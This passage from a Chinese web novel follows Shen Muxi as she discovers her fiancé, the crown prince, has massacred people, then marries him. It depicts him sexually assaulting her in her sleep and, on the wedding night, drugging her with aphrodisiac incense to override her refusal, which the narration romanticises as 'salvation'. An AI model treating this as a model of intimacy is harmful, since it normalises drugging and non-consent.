所以,他可怕的一面,究竟是什么?还有他在京中令人胆寒的名声,又是如何得来?
他是否,又是真的,被所有人针对……
沈木兮敛下神色,故意支走小芷后,绕进小巷子,来到了之前茶铺的后街。
方才那几个在茶铺里闲聊的大哥们,正在这悄声说着,关于太子的事,
“先前你说太子的那些事,究竟是什么啊?”那个外地人说。
当地大哥左右四望:“你可小心着点吧,当今陛下有令,不许乱传的。”
他又叹了口气。
“罢了,我只告诉你一人。你可知道,之前京城南街的那户人家?”
“你是说全家被屠的那一户百姓吗?不是说,那家人被开膛破肚,次日,带着空渗渗的肚腔,尸体被挂在门前吗。这竟是太子做的?可他们只是寻常百姓啊。”
“何止呢,无论是百姓和还是大臣,被太子亲自处死的人,比比皆是。还有宫里,有些宫人,只是多看了当今太子一眼,就招惹了他不快,被就地处死,生生剁成了肉泥啊!”
“别说了,别说了,快走吧……”
冷风呼啸,不住拍打在沈木兮逐渐呆若木鸡的脸上。
第110章 这样弄你,舒服吗
小芷回到马车时,沈木兮已经回来了,她坐在车内,神情被黑暗覆盖,看着不是太清晰。
“太子妃,您落下的钱袋子,奴婢拿回来了。”
沈木兮伸出泛凉的指尖颤抖的手接过:“谢谢。”
回去的路上,她一句话也没说,心中五味杂陈。
她以为,他在京中是被人针对和欺负的存在,因为从外回来的太子身份,他才是受人怀疑和歧视的那一个。
这次她回来,除了是因为无路可走。还因为,她始终觉得,他是保存着仅存的一丝纯善的。
没想到,他才是那个京城里的噩梦,是始作俑者。
那么,他今后,也会像是对待旁人这样,去对付她吗。这一刻,沈木兮才恍惚发现,自己对他的了解,不足那九牛一毛!
回去的时候,北辰景还未回来,沈木兮自己回了屋子躺下。
她没胃口,晚饭也没吃,直接睡到了入夜。
月儿爬上树梢之时,门轻微响动,一道身影出现在了屋内。
沈木兮双眼睁着,却不敢动,身子微微颤抖,指尖冰凉,佯装自己睡着了去。
他也上了床榻,但只是从她身后,环住自己,像是个狼崽一样,埋在她的背心处,还蹭了蹭。
沈木兮感受着这样的他,再想着从那些人口中听来的可怕字句,精神几乎紧绷!
他今夜出去了一日,好像很累,很快就传来平静的呼吸声。
可沈木兮,却是一刻也待不下去了。
趁着他没发现,起身冲出了屋子,吹着外面的冷风,方才冷静下来。
不远处传来细碎声。
沈木兮赶紧躲在柱子后。
只见是守夜的离阙和清鸢,巡视完了外面刚回来。
“注意近日的防范,别再让今早那些幼童出现在太子妃跟前。”离阙说。
清鸢点头。
“嗯,知道了。这些事,还是少让太子妃知道得好。”
沈木兮抓着柱子的手一紧。
突听清鸢没好气说:“那些人惨死,也都是他们咎由自取,别以为伪装成百姓,藏在京中就找不出来了。太子殿下不做的狠一点,怎能震慑其他有心之人。”
“还有上次那宫里的奸细,竟妄想给太子下毒,剁成肉泥都是太子开恩了,若是被陛下知晓,怕是更惨。”
“而那些全然不知的外人,只知晓说道我们太子的不是,连几个小孩子,都跑来府门前闹腾。”
清鸢一脸为北辰景打抱不平的样子,继续道。
“偏偏太子还不想让太子妃知道担心,隐瞒了所有。我就怕,太子妃听信了外面人的话,当真误会了殿下。”
离阙冷声呵斥:“好了,别再说了。小心让太子妃听到,走吧。”
两人的对话,很快被外面的冷风淹没。
沈木兮松开了紧抓柱子的手,眼神复杂,独自在这沉静了许久。
“你在这做什么。”
身后传来一道阴森话语。
沈木兮被吓了一跳,转过身,就看到那藏在黑暗里的人,他阴郁的眼神正审视着她。
“你怎么,出来了。”
沈木兮眼神微微躲闪:“我……睡醒了,出来透透气。”
北辰景依旧盯着她,显然是不信的,随后,他凌冽又带着些鬼气的眼神,在冷风里,化作成了一摊水雾,带着自嘲凄凉的语调:“你其实,和那些人一样,都以为,我是个坏人,是祸害,对吗?”
“你也想远离我,是不是。”
“如果你也想走,我还是那句话,不会拦着。”
“景愿,我不是这个意思。”沈木兮不想隐瞒一切,直接问了出来,“那你告诉我,那户人家,是什么人。”
外人的话语,她知道有添油加醋的成分,但离阙他们的言辞,她也不会全然相信。
北辰景黑暗阴影里的眼神抬起,紧盯着沈木兮:
“他们是想杀我的人。”
他眼中写满冷意,和对那些人无能的轻嘲,直言不讳。
“杀了他们,我不后悔。再给我一次机会,我也会这样做。”
“不杀了他们,死的就是我。”
沈木兮从他的眼神里,看到了毫不避讳的残忍凶光。
她没想到,他会直接承认。
完全没有一点迟疑。
可等他再看到她时,眼底的一抹狠戾之色,又变成了楚楚委屈:“你不喜欢这样的我,满手鲜血,脏污作呕,对吗。”
他失落的垂下头,要转身去。
沈木兮上前。
“景愿。”<
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br>若她真的因此,就嫌弃他,他心里的那一丝恶,一定会加倍蔓延!连她也无法控制!
再说京城本就是个你死我活之地,他不狠,旁人会比他更狠的。
他只是为了活着。
“你做的,很好。但有些时候,你得顾及自己的身份,不知深浅的旁人,会各种对你泼脏水,还会对你说很多难听的话,明白吗。”
北辰景皱眉,一脸不明。
他为什么要在意除她以外之人的看法。
“走吧,我带你去睡觉。”
“你先睡,我在旁边小榻上将就一夜就是了。”
兴许和北辰景说开了,又听他主动向自己承认一切,沈木兮混乱的心暂且安定下,主动握住他的手回了屋中。
转身的那一瞬,北辰景脸上的落寞被幽光替代,对外做了个手势。
离阙和清鸢两人对视,很快消失在了黑夜里。
这一夜,沈木兮睡得不是**稳。
可能是把床给了他,自己睡在小榻上的缘故,次日起来,浑身难受。
特别是双腿,莫名有些酸软。
反观北辰景,却是一脸的神清气爽。
“疼吗。”
他这一问,让沈木兮莫名心中一咯噔。
昨夜……
又听他说:“你在小榻上睡着,会不会疼,咯着难受。”
沈木兮意识到自己多想了,暗骂自己这个大黄丫头,赶紧尴尬地笑着说:“景愿,我去给你弄点早饭,等吃了再出门。”
看着她离开的背影,北辰景回想起了昨夜。
她睡着时,那咬着唇,收紧膝盖,在梦里央求他别弄的样子。
“舒服吗。”他问。
睡梦中的她,瘫在小榻上,轻轻低嗯了声,像是在作答。
他并没有放过她。
等到他餍足。
他乖巧听话的,把脸贴在她的腹上,仰头看着她梦里难受绯红的脸。
这是上元节阔别之后,他许久的欲想。也是对她的处罚。
见她走路时有些晃动的样子,北辰景皱眉沉思,昨夜他的力道,是大了些。连他自己的嘴角,都红肿破了。
下次,要收敛点。
现在,他还不能吓到她。
等到不久之后,他会将她,全部拥有。
第111章 大婚
接下来的这几日,北辰景好像很忙,时不时就要出府。
沈木兮见他的时间,基本只有晚上。
且每次他都要和自己挤一间屋子,沈木兮虽觉得不自在,但两人现在关系是未婚夫妻,自打那日见了皇帝家长,关系就已经板上钉钉。
住一间屋子,也无可厚非。
反而她把他赶出去,传入皇帝耳中,那才得出事。
虽然几乎每次第二日醒来,沈木兮都觉得身上哪里不舒坦,要么浑身都是残留的汗,要么……嗓子干哑。可每次她都查看过,身上什么痕迹都没有,她还是没去多想。
直到这日,离阙说,北辰景要出京几日,让她留在府中。
其实,这次回来,北辰景并没有限制她的自由,连他出行,也没硬要带上她同行。
这点让沈木兮稍微安心。
北辰景不在的这几日,沈木兮也听说了京中其他的人事。
比如,盛苒。
听说,盛家小姐不知怎么了,一年前,突然成了哑巴,听说舌根都被拧断了,再也说不了话。
沈木兮有很强的道德感,但对于这个原文女主,却是一点也同情不起来。
一切如常进行,沈木兮如以往一般,在京中闲逛,买菜准备今日的晚膳。
太子府有自己的后厨,但她还是习惯给他做饭。
没想到今日出行,刚到了街上,沈木兮就被人给硬抓了过去。
抬头就看到一张熟悉,却又有些憔悴的俊脸。
他捂住她的嘴,紧张看着外面。
“我终于见到你了。”北辰殷观察着四周,很是警惕的样子。
又把她带去了巷子深处,这才道。
“我长话短说。”
沈木兮一愣,还想说话,却被北辰殷塞进了一封密信。
“我知道你很多话想问,或许,你也不信我的话。但我没时间在外逗留,这里都有答案。回去后,你好好看看,千万别让任何人知道。”
除了之前尸体的事,还有太多太多的,她都不知道!关于沈家人,乃至关于夜王……
“沈木兮,你一定要……保重。”
北辰殷最后看了眼她,咬了咬唇,转身离去。
他的动作太快,以至于,沈木兮到现在都没说一句完整的话,也没有来得及去问他,最近过的好不好。
她低下头,看着那封信。
“太子妃,您在这做什么?”
和她分头去买东西的小芷来了,沈木兮眼神一动,将信藏在了袖中。
抬头时,面色已经恢复。
“没什么,方才走错路了。”
小芷哦了一声,抬头看了眼安静的巷子后方,没再问什么,只道。
“今日太子要回来,我们赶紧回去吧。”
沈木兮回去的一路上,偷偷捏着那封信,心中有些复杂。
她的确目前暂时选择相信北辰景。
但她同样相信,北辰殷不会骗她。
是以,回去后,沈木兮借着换衣服的间隙,回到房中,一点点拆开了那封信。
看到信纸上的内容,她脸色微的变了……
就在屋子里,陷入死静只是,屋门被人打开了。
熟悉的脚步声传来,沈木兮大惊,当即把信纸肉成团,塞进了衣袖里。
等再次回头,她的脸色已经恢复。
“景愿,你回来了。”
北辰景离京多日,今日刚回来,周身带着风尘仆仆。
那双在外凌厉阴冷的眸子,此刻在她身前,很快多出了缱绻笑意。
“嗯,阿兮,我有个惊喜要给你。”
他拉着她坐下,半蹲在她的身前,像是以前一样,看着她的眼神里带着湿红光泽,握住他的手。
“跟我来。”
他的步伐很快,外袍上还席卷着路上未散的霜露。
但沈木兮却是松口气,想来,方才是没发现吧。
不过……
她低下头,看着手里被揉成团的信纸。
北辰殷,为什么要给她写一封无字天书?
是的,这封信上,什么东西都没有。
很快,北辰景将她带到了府中的另一处地方。
沈木兮来了这么久,都没怎么逛过太子府,是以她并不知,在太子府的后方,还有个这么大的单独院子。
进去的时候,他特意拿出一条丝巾,把眼睛给她蒙住,凑到她耳边说。
“乖,闭上眼睛。”
他的声音带着一种蛊惑。
沈木兮微微缩脖子,有点不安。
“景愿,别卖关子了,快告诉我吧。”
他轻笑不语,牵着她,一步步走了进来。
“你可以看了。”
落下丝巾,沈木兮抬头。
眼前的一幕,让她愣住。
“这?”
她瞪大眼睛,看着这藏匿太子府深处,被他打造的山野屋舍。
这里,完全和当初在江州猎林的帐篷小屋,一模一样!
连四周的野林,和山道也被他修缮了出来。
若不是被他亲自带着从太子府里走来,她都以为,是回到了曾经。
沈木兮先是呆住,随后转头看向他:“这是你建的?”
她语气里多了几分轻快和兴奋。
在猎林的生活,不仅仅是北辰景的回忆,也是她的回忆。
那里是他们两人,真真正正,一起生活过的地方。
有大雨吹翻帐篷,他们两人一起躲在山洞石头缝,围着火星取暖。
也有夏日,她在河边洗衣时,故意趁他不察,朝他身上泼水,却是自己滑进河里的乌龙事迹。
还有,那一个个长夜,他陪着她从后厨房上山时,他们一起看过的满天星斗。
北辰景认真地看着她,捧着她的脸。
“喜欢吗。”
“你不喜欢太子府,我也不喜欢。那今后,我们就一起住在这,好不好
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……”
正陷入回忆中的沈木兮,被这句“今后……我们……”给惊了一跳,眼神也敏锐地变了。
北辰景眸光轻动,又道。
“嗯,在你陪我的这一两年里。”
沈木兮紧绷的身子微的松开:“这样,好吗?你父皇知道了,会不会不高兴?”
这里虽然有以前的回忆,但住的地方实在太次,若被西越帝知道,他的儿子陪自己住在这里,怕是会觉得是她故意**。
“当然不会,父皇已经下旨赐婚,三日后便是婚期。他很喜欢你的。”
“婚期?”沈木兮脸色一变,眼神微微变得锐利。
不是说的,只是假扮太子妃吗,怎么还要成婚了?
沈木兮再看北辰景的眸光,也微的变了,多出几分警惕和探寻。
她的谨慎和慌乱落入北辰景的眼中,让他眸底生出一丝暗色,但又很快恢复。
“只是成亲而已。”
“等时间一到,我依旧会履行当初的承诺,不会阻拦你。”
沈木兮得到了答案,才缓口气。
“可一定要成亲吗。”
“若是不成亲,父皇也会让娶其他人的。”他平静的说。
其他女人吗。
沈木兮莫名的皱起了眉头……
京中贵女,大多都是如盛苒一类的虚伪女子。
若是娶了便罢,但给他招惹来了祸事,注定是不安生的。她在这,还能帮他抵挡了一二。
再说,她有反对的资格吗。
若是反对,被西越帝知道一切真相,那她岂不是欺君。
她一步步谨慎小心,无论是当初费心逃离他,还是如今回来,在夹缝中求生。不都是为了这颗脑袋吗。
别还没被他搞死,就一命呜呼了。
沈木兮想了想,最后很郑重地点点头:“那,好吧。”
北辰景的眼神在得到她的允诺后,瞬间亮了,看着她的眼神,越发的轻柔,但眼底深处的幽光,却是更甚。
独自回了屋中。
沈木兮又把那皱巴巴的信,拿了出来。
又是用火烤,又是浸水打湿。
可上面依旧是什么都没有。
最后确定,这就是一张没写过任何内容的白纸。
沈木兮狐疑极了。
莫不是,北辰殷的恶作剧吧?可今日他的神情,又十分的认真。好像,真的有很重要,很重要的事要告诉她。
她想,那便下次找个机会,去找他问清楚。
只是接下来的这段时间,沈木兮比谁都要忙。
太子大婚的事宜,比她所想的更要繁琐。
除了每日府中的事,还有女官前来对她的各种教导礼仪。
太子府上上下下,全部都在这喜气洋洋的氛围里,忙成了一团。
三日时间里,沈木兮都没好好喘过一口气。
终于,等到了大婚这一日。
是她,和北辰景的大婚。
第112章 密室
大婚清早,沈木兮就被小芷和其他太子府的奴婢安排,带去了太子府里的清泉池里沐浴净身。
按照西越皇家的大婚规矩,要到午后进宫祭拜天家祖先,叩拜帝王,再回太子府进行大婚。
北辰景好像有他的礼节要做,两人到了中午才会见到。
由着小芷她们洗净穿衣,捣鼓了半天,沈木兮差点咋梳妆台上睡着了去。
小芷偷笑:“太子妃现在多睡会儿,晚上也能更精神些。”
沈木兮睡眼惺忪问:“什么晚上?”她没怎么听清。
小芷咳嗽一声,不敢多说了,只是眼里的笑,很是意味深长。
见沈木兮在这屋子里憋闷的很,今日的礼节还多着呢,小芷便说:“现在还早,太子妃若是在屋子里闷得紧,可以出去走走。”
沈木兮的确想出去呼吸一下新鲜空气,闷得她都睡着了,便没让人作陪,自行在府中游走。
今日是大日子,小芷不敢招惹她不快,没有跟着。
出去深呼吸几口气,沈木兮才算冷静下来。
虽是做戏,但好歹是第一次成亲,还是怪紧张的。
太子府已经装潢过了,四处张灯结彩,红绸遍地,散发着浓浓的喜气。
可能她真的有些过于紧张,看到这大红色泽,心中没来由慌得很,等绕到了府中偏僻角落,才算冷静下来。
这是太子府后院角落,前方便是后门了。
不知为什么,这里明明不算破败,但比起前院来,却显得很是阴森。
也没有什么看守的人。
沈木兮好奇地打量此处,直到走到一间木屋门前时,她的眉心突然凝起。
因为,这里落了一把锁。
蓦地让她想起,当初北辰景把她锁在假客栈里的场景。
莫名打了个冷颤。
这里是什么地方,为什么要落锁。
在沈木兮心中思绪万千时,一颗石头砸在高墙上的动静,从外面传来。
很清脆。
也很熟悉。
沈木兮心中一动,来到了后门。
她也学着外面的动静,用石头制造出声响,对方果真给了她回应。
确定是北辰殷。
沈木兮准备开门。
可就在这时,一道身影出现在她身后。
诡异的气息弥漫上她背心,沈木兮回神,对上离阙冷冰冰的脸。
“太子妃,在这做什么。”
沈木兮脸色一变,随后很快恢复,微笑着说:“方才屋中闷得很,我无意间走到了这,不小心把吊坠落去小门缝隙外了,我正准备去拿。”
离阙看了眼,门缝外的确有个吊坠。
他又看去一脸天真无邪的沈木兮:“嗯,我去拿吧。”
沈木兮脸色一变,正想说她自己去!离阙已经打开门,率先走了出去。
她的心,顿时悬在嗓子眼……还好,门开后,外面并没有人影。
离阙锐利的眼神在门外的深巷里打量一番,见没有异样,面色稍缓,拾起吊坠转身关上了门。
“大婚在即,太子妃还是别乱走动的好。”
沈木兮接过吊坠的手心有点冰冷,抬头再看了眼门缝外。
好险。
还好北辰殷够机警,应该是及时躲了起来。
不知道他为什么要这样鬼鬼祟祟,但他既然如此小心,她自是不敢让他暴露。
“我送太子妃回去吧。”离阙又道,那抱剑看向她时冷冰冰的眼神,让沈木兮不敢多在此逗留。
她只能先行离去。
但是若她去观察,就会发现,离阙防范着的,并非是这后院小门,而是那扇锁着的木门。
临走时,离阙还谨慎地看了木屋一眼,最后才放心带着她回去。
后门里的沈木兮离开。
外面,藏在角落里的北辰殷,脸色极其不好。
他跺脚。
罢了,只能另找个时机了。
可为什么,他已经给她看过信了,她还愿意嫁给北辰景?
北辰殷想不通,但现在没时间在这多留,他瞅准时机,赶紧溜走。
昏头昏脑的出现在街上,北辰殷想着事儿,也没注意街上来往的行人。
迎面撞上个人他也没注意,低头闷声说了句:“不好意思,借过。”
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>“喂!撞了人,说句不好意思就完了吗,这京城里的人真是高傲!”对面的小公子提了提半掉不掉的裤子,叉腰对北辰殷破口大骂。
往日北辰殷定是要回嘴的,骂得对方钻进地洞一辈子都不敢抬头才算事。
可今日他心中有事,没时间去别人闹腾。
就在他准备离开时……后知后觉,方才那骂声,好耳熟,真的好耳熟!一种似曾相识的感觉,顿时涌来。
对了,青州!
不算久远的记忆涌入脑海,北辰殷眼睛一亮,回头看去。
可身后那人,早已经混迹进那一群来来往往的百姓中。
人头攒动,分不清晰。
另一边。
一道身影被人拽进了巷子里。
“哎哟,小姐,咱们现在不能声张。”丫鬟小愿低声说。
扮成男装的薛宝莹,哪哪儿都觉得不舒坦,她扯着这身不称身的衣服说:“真是的,父亲非要我假扮成男子。”
“老爷也是为了小姐好,若是被人发现,咱们从青州偷偷来了京中,会给薛家招惹麻烦的。”
薛宝莹噘嘴,但没反驳了。
小愿说:“好了,我们先去找个地方住着,再找机会去找到七小姐。”
说起这件事,薛宝莹神色瞬间冷凝严肃了几分。
是的,她们进京,是来找薛小七的。
这是薛清给她安排的任务,让她先进京四处打探,最好是能找到人。
薛清还说这件事很重要,且寻到人之前,万万不能透露她们自己的身份,更不能被京里的人发现。
虽然薛宝莹也不知道薛清何意,但父亲的决定,一向没错,想着当时薛清严肃认真的样子,她亦是满脸的肃然。
可京城这么大,她要去哪里找到小七?
“今日京中可真热闹啊,十里长街全部红绸满地,多少年没看到这样的盛景了。”
“这可是太子大婚,当然隆重了!不过当真有女子,敢嫁给这位太子殿下,可真是……”
“嘘,别说了,小心脑袋啊。”
路边人的对话,吸引了薛宝莹的注意。
第113章 我的阿兮,我们才是一家人
不过薛宝莹看了眼,却没多大反应。
早在来京路上,她就听过了这位太子妃的传闻,说是太子从南下带回去的人。
薛宝莹之前听父亲的意思,是说小七的确是被人带来了京城,那时见父亲担忧的面色,好像小七还可能有生命危险。
她也怀疑过这位姑娘。
可打听后,却得知这个女子姓沈,还是从青州以外的地方被太子带回来的。这些都是可以核实的事。让薛宝莹略有些失望。
“走吧,先找个住处再说。”
……
太子府。
依旧是红烛高燃,锣鼓喧天。
小芷拿出一个苹果,递给发呆的沈木兮:“太子妃,这苹果代表你和太子平平安安,相守相知,一定要抱稳啊。”
她打量着铜镜里沈木兮。
“太子妃,可真好看呢。”
沈木兮抬头。
她已经被换上了隆重的储君正妃的华袍,脸上精致美艳的妆容,衬得她小脸娇媚颇有风韵,抬眸时,眼神还带着些妩媚。
这,还是她吗?
美艳高贵,却又陌生极了。
高高发髻上的金簪,映着窗外的开春艳阳,熠熠生辉,有些晃了沈木兮的眼,让她有一瞬的恍惚。
“太子来了!太子来了!”
外面丫鬟的喜悦叫喊传来。
很快,外面的太子府奴才们,都有序的排列,恭迎着屋中的未来女主人。
许是之前在后门处发生的那些插曲,让沈木兮一直处于精神紧绷中,这一声,惊得她手里的苹果滚落了出去。
小芷脸色大变。
沈木兮也有些惊到了。
好在清鸢走来,身手灵敏的她,及时接住了。
她把苹果递还给沈木兮:“太子妃,一定要小心点,这东西,可不能再掉了。”
沈木兮点点头,她也知道这苹果的说法。
红纱盖头落下,锣鼓声齐鸣,女官在前,和清鸢持剑开道。
漫天红光下,沈木兮被小芷等人搀扶,走出了铺就满地红绸的偌大太子府。
午时的艳阳,顺着天际边倾斜而下,在这个初春之时,璀璨却又不刺眼。
出来后沈木兮才知道,太子府的红绸,绵延去了外面的整条街巷。
“这么隆重吗。”她小声地自语了句。
清鸢在旁说:“太子娶妃,是京城乃至西越的大事。不仅是这条街,整个京城,都一同齐乐。”
也就是说,这红绸是铺满了整个京城吗?
沈木兮有点意外。
这么盛大吗。
其实清鸢没说的是,太子殿下的安排,何止是这些呢。
长街尽头,那一抹比四周红绸彩旗,更显夺目耀眼的一袭正红长袍人影,从十里长街外的皇宫方向,高骑大马,朝着太子府而来。
两侧挤满了围观的京城百姓,春风席卷他的灰白长发和大红喜袍,和飘摇的红绸在空中齐舞。
随着百姓们的欢呼,和阵阵马蹄声,交织作响,震得人耳膜震颤!
声音由远及近。
沈木兮知道他来了,呼吸微紧,心跳莫名加速。
勒马声止于府门,即便隔着一层红纱,她好像也能看到,他那从马背上一跃而下的卓绝身姿。
她伸出手,准备被他带进花轿。
却没想,一道沙哑低笑从头顶上方传来,他的手已经覆上她的纤腰,将她横抱而起。
沈木兮吓得低呼一声:“景愿,这不合规矩吧?”女官姑姑可不是这样说的。
朦胧的红纱外,男人绝伦下颚抵在她眉心处,红唇张扬勾起,狭长眼眸上挑,带着湿红色泽,又有着掌控一切的冷傲矜贵。
“我的阿兮,和那些女子,才不一样。”
沈木兮神色微变,皇家大婚,出门之时,还有很多规矩要做的。
他为了她,竟把那些繁琐礼节都全部去掉了。
天子不会生气吗?
她还未回神,就已经被他带上了他的马背。
“?”有这样接新娘的吗?
“抓稳我。”
他附耳对她低哑说着,勒紧马缰绳,携着怀中还在持续震惊中的女子,和骏马飞扬腾起!
下一刻,踏着午时灿阳,朝着皇宫的方向进发。
“驾!”
普天艳阳,**红妆。
我的阿兮,我来,娶你了。
太子府的礼节可以去除,但宫里的规矩不能少。
再说有西越帝亲自坐镇,谁也无法反抗。
从焚香祭祖,到叩拜帝王。
一系列繁重的天家礼节下来,沈木兮差点喘不过气。
但好在,北辰景一直很顾着她,大多时候,都只是走走过场。
虽然北寅焱有些不高兴,但儿子大婚,他也只能把火气咽在喉咙里。
今日宫里也很是热闹,群臣朝贺,叩拜帝王离开时,沈木兮透过红纱盖头的缝隙,还看到了北辰殷。
他竟也来了,此刻已经换上了尊贵的皇子衣袍,清俊的眉宇复杂又凝重地盯着
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她的方向,双唇紧抿。
旁边,还有上次一面之缘的忱王。
忱王依旧是那副高冷的姿态,只有在北寅焱对他说话时,他才有了一点像是笑的反应。
等再看向她和北辰景时,忱王眼神又冷了下来。
隔着红纱沈木兮都能感觉到。
不过他对谁都是这样,也没有和北辰殷他们说过话,好像天生就是天家里独树一帜的存在。
北辰景发现她身子微微冰凉,握紧了她的手:“别怕,我在。”
听到他的声音,沈木兮心中稍安。
“我没事,要结束了。”
虽然遇到了很多熟人,但却唯独没见到夜王。
莫不是,他还病着?
今日实在太累,沈木兮已经没精神气儿去想那些,等宫里的一切结束,回到了太子府。
到了婚房时,天色已经暗了。
太子府里还有酒席。
沈木兮以为北辰景要去应酬一番,没想到,把她送回婚房,直接就留了下来。
“景愿,你不去陪客人吗?”
安静了一瞬。
沈木兮正觉得怪异时,眼前的红纱盖头被掀起一半,他已经俯身探头进来。
两人在这狭窄的暗红色泽里对视。
沈木兮一怔。
对面,北辰景朝着她挑眉,绝艳的脸映着盖头倒映出的红光,眼眸泛着柔意,又有点委屈。
“这就要赶我走了?”
不知是他这个强势的姿势和两人呼吸间的距离,还是他的眼神太滚烫炽热,沈木兮有点不敢看他,呼吸逐渐加重。
“你也累了,那,今夜你留下,我还是去睡小榻。”
沈木兮要起身,却被他抓了回来,两人一起跌在了床头。
盖头也顺势落去了身侧他的脸上。
北辰景擒着她的手,在沈木兮震惊的眼神里,用她的柔荑,一点点把面上的盖头掀开,扣着她的手力道,一点点变大,根本没有要就此放开的意思,双眼紧盯着她:“阿兮,你还想,跑去哪里?”
昏暗灯烛下的屋中,他身若无骨的趴卧在床头。
那揭开红盖头时,仰着头看她的眼眸,湿红水雾里带着一丝阴戾和狂肆占有。
清冷高贵,又媚骨天成。
这!和沈木兮曾经的那个“噩梦”,完全是一模一样!
一道惊雷,在沈木兮脑海中,怦然乍响!
“你不是说,我们是一家人吗?”
“一家人,就要永远……在一起。”
第114章 年少时饥饿的梦,终成现实
什么……
这一瞬,她只觉得眼前的男人,好生陌生可怕。
沈木兮瞳孔骤缩,那一股比上次上元节还要更可怕的感觉,从四肢开始蔓延。她体内鲜血几乎是瞬间凝固,颤抖地往后退!
然而,下一刻,却被他拽回到了床上。
他一个翻身,已经将她压下。
再抬头,他眼中那方才可怕的阴郁狠戾,已经全然被那熟悉的委屈替代,眼尾也跟着瞬间红了,盈着水雾,操控着拿起她那撩起他红纱盖头的手,小心翼翼地捧住了他的脸。
仿若和方才要“**”的他,完全是两幅面孔!
“你答应我,不会再走的。”
看着他那楚楚可怜的样子,沈木兮一瞬恍惚,只以为方才他阴狠的那一幕,仅仅是一个梦。
他俯身盯着她,用手指,幽怨地点了点她的心口。
“你这里,是有我的,对不对。”
“如果没有,在青州,你不会次次留下。你也不会跟着我回来。更也不会唤你的丫鬟,叫小愿,不是吗。”
他居然知道!
沈木兮震惊得不能自已,嗓音干涸,许久都找不回自己的声音。
“其实你早就喜欢我了。”
“只是,你不肯承认而已……那,我帮你承认,好不好?”
他的声音缥缈又蛊惑。
一丝……又一丝的扣在沈木兮的心房上,将她那本就混乱的心,更是乱如一锅粥!
喜欢吗?
沈木兮,好像从来没有认真思考过这个问题。
几年来的相处,她对他依赖是真,不舍是真。
但她,当真有喜欢他吗?
也是到了这时,她才第一次,开始审视自己对他的一切行径。
从在猎林,赶走那些偷看他的女人,再到后来的京城面对盛苒……以及江州他被追杀的那段时光。
一道可怕的念头,从她的脑海里迸射而出!
沈木兮瞳孔震颤,摇着头。
怎么可能,不会的。
可她费劲脑子,只想去寻找一个反驳他的理由!
双唇颤动,却是一句话也说不出来!
原来,那些岁月的不舍,愧疚!都源自于,那喜欢二字吗。
沈木兮紧皱眉头:“可是,我们是……”
‘亲人’两个字,还在她唇边。
却听他略带一丝嘲讽的冷笑说:“你是想说,你是我的长嫂,是吗?”
昏暗下的他诡异的眯起眼,指尖轻勾,已经扯掉了她的外裳,他吻着她震惊颤抖的唇,吻过她的脖子,最后落至她的耳边。
像是鬼魅,又带着他的循循善诱:
“那,今夜,我便唤你嫂嫂,可好?”
他的手已经开始往下了。
不,不可以……
沈木兮努力想保持清醒,想说话,想挣扎。
但一切的反抗,在今夜的他手中,全是徒劳。
上次上元节,她并没有深陷其中和他感受过,而此刻,他的霸道,和狂肆,却是实打实的!
北辰景力道太大,像是要把她揉进自己的身体里!
疯狂的吻着,占有着她的一切。
沈木兮被动的接受着他的一切荒唐!
他掐着她的腰,单手把她放在自己的腹上,温情地捧起她的玉足,像是俘获了什么世间至宝。
那回上元节前,他是为了给她解毒,并没有这么仔细。
而今夜,少年时期的无尽欲想,终于全在今时今夜,成了现实。
他露出最纯白和无害的笑,红唇白牙,又宛若厉鬼,一点,一点的侵蚀着她。
沈木兮在他腹上疼得直哭。
“景愿,好疼……我不行了。”
他动作温柔的捧着她的小脸,眼神却全然是可怕阴翳,强行与她十指相扣。
随着他的动作,寸寸撕磨。
“只说你喜欢我,我就饶了你。”
沈木兮脑子昏沉,只被迫沉浸于此刻弥漫周身的酥麻里。
“……嗯,喜欢。”她双眼涣散,无力地抵在床上。
她并不知道自己回答了什么,但她知道,若不乖乖回答,她的下场一定会很惨。
窗外的圆月从云层中缓缓溢出,映照在纠缠着她的男人身上。
他满意地笑了,脸如雪山上的一朵圣洁白莲,可眼里却带着极致的蛊惑和黑暗。
“真乖。”
沈木兮疼得身子一抖。
“你不是说,要放过我吗?”
“谢景愿……你这个疯子,疯子!”
放过吗。
他早就不想放过了。
年少时饥饿的梦,全在这一夜,和明月共起。
起初沈木兮还有力气抵挡,尚且清醒,可后来,却是比他还要陷入了那等疯狂。
床头交织纠缠的帘下,男人转头,诡异的幽瞳,看去桌前燃着的香炉。
南疆蛊香。
只催有情之人。
她若是不喜欢他,即便他如何逼迫,她都不会屈服的。
他就知道,她心里有他,只是
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因为害怕,她才躲着。
那他,就帮她去承认。
而这个蛊香,并非是今夜才下,而是更早。
早于……他们在江州相见的第一夜。
他的所有谋划,所有算计。
为她编造出的这一切。
都是,为了带她回家。
这不是控制。
而是,救赎。
蛊香弥弥,在这个新婚长夜,久久绵延不绝。
……
直到半夜时分,沈木兮累得直接昏沉睡了去,北辰景才算放过她。
他其实一点也不满足,但她疼得直哭,只能委屈强忍。
北辰景乖巧地撑着头枕在她身侧,看着她脸上还留着的两行泪,轻轻为她撩动那被细汗浸湿的额发。
好像怎么都看不够。
正在这夜深人静之时,原本陷入半夜死静的太子府里,却是响起一道凌厉风声。
还有离阙的声音。
“是谁!”
“追。”
婚房内,北辰景眼眸里的温情,渐渐被一股狠戾替代!
再他转头时,已经变成了那阴湿厉鬼的模样。
他不悦皱眉,低头吻过身侧女子的雪白手臂,意犹未尽的起身,袍子一拢,朝外行去。
外面,离阙等人飞身落在从黑暗里走出的男人身前。
“殿下,他们……”
“一群废物。”
浓浓的黑夜里,浓郁又诡异的血腥味,在太子府里绵延。
婚房中,浑身都要散架的沈木兮,被从微敞门缝里灌进来的冷风惊醒!
她陡然睁眼。
记忆还留在方才床前两人疯狂的一幕时……
她起身抱着被褥,小脸绯红一片。
若非当时她并未全然失去理智,沈木兮也不敢相信,主动去和他做这样事情的人,真的是自己!
她清楚的记得,前面,是他在主动引导,甚至可以说是在勾引她。
可后来,她却比他还要……
沈木兮一把将头蒙在被子里!
脑海里,全然是自己勾过他的下巴,又圈住他脖子,无尽痴缠地去主动迎合的场景。
门缝外的冷风加剧,还裹挟着夜里的浓浓血腥味。
沈木兮也是这时,才发现北辰景根本不在这。
她看着乱作一团又空荡荡的床榻,混乱的思绪,在这一瞬一滞。
空荡荡的床榻,和他消失的身影。
以及那越发浓重刺鼻的血腥气!
都在告诉着沈木兮。
出事了。
第115章 囚禁在太子府密室里的人
沈木兮心中一股不好的预感,赶紧穿上衣服。
嫁衣被北辰景撕碎了,但好在旁边有备用的衣服。好像他早就知道会如此,提前就准备好了。
没来由的,那先前,被他抬着腿,指腹撩拨过的触感,仿佛还停留在身下。
